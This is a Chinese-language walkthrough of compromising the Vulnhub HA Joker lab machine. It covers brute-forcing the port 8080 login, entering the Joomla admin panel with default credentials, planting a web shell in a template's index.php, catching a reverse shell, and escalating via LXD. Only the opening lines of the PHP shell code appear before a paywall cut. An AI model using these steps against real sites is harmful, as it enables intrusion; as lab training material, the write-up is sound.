本文详细记录了在Vulnhub平台进行HA Joker靶机的渗透测试过程。通过NAT设置找到靶机IP，利用端口8080的盲猜和抓包，发现是Joomla系统。尝试默认后台并爆破，成功登录但无法进一步操作。通过在模板index.php插入shell，配合Kali Linux监听反弹shell。随后，使用LXD和GitHub上的脚本提升权限，通过HTTP服务将文件传到靶机，在tmp目录下下载并运行，最终获取root权限，找到final.txt文件，完成靶机渗透。
靶机地址：https://www.vulnhub.com/entry/ha-joker,379/
靶机导入虚拟机设置为NAT
首先找到靶机ip
Ok，找到靶机ip
盲猜下端口8080：
抓包看看，base64。
进行爆破
登录进来是这样的
用刚才的密码登录不了，看下源码
是joomla的
百度了一下默认的后台：
Joomla默认密码进入后台：
在模板的 index.php中写入shell
<?php
function which($pr) {
$path = execute("which $pr");
return ($path ? $path : $pr);
}
function execute($cfe) {
$res</
最低0.47元/天 解锁文章
1243
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
